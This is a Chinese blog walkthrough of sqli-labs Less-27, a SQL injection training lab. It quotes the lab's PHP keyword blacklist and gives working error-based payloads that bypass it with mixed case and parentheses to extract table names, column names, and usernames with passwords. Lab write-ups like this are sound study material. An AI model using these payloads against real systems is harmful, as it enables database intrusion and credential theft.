sqli-labs-Less-27

SQLI-LAPS 实验记录

Less-27

这一关给出的提示信息显示对’UNION’以及’SELECT’字符串进行了过滤,通过查看源码,我们发现,还有注释符和空格同样进行了注释,但过滤的方式并不严格,我们可以结合上一关以()应对空格过滤,以大小写绕过应对’UNION’以及’SELECT’字符串过滤。

在这里插入图片描述

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

根据之前我们的注入经验,并结合源码中的sql查询语句,按照提示信息,输入Payload如下:

1' and (updatexml(1,concat(0x7e,database(),0x7e),1)) and '1'='1

在这里插入图片描述

结果如图所示,可以看到页面成功返回数据库名称:security。

后续查找数据库表名、列名及其他数据的Payload分别如下:

  • 查找表名:

    1' and (updatexml(1,(concat(0x7e,(selEct(group_concat(table_name))from(information_schema.tables)where(table_schema)='security'),0x7e)),1)) and '1'='1 
    

    在这里插入图片描述

  • 查找列名:

    1' and (updatexml(1,concat(0x7e,(selEct(group_concat(column_name))from(information_schema.columns)where(table_schema)='security'and(table_name)='users'),0x7e),1)) and '1'='1
    

    在这里插入图片描述

    查找其他数据:

    1' and (updatexml(1,concat(0x7e,(selEct(concat(username,':',password))from(security.users)where(id=1)),0x7e),1)) and '1'='1
    

    在这里插入图片描述

    这里如果想要查询其他的用户名与密码,可以修改where语句当中的id值,即id=2,3,4……

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

heze09

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值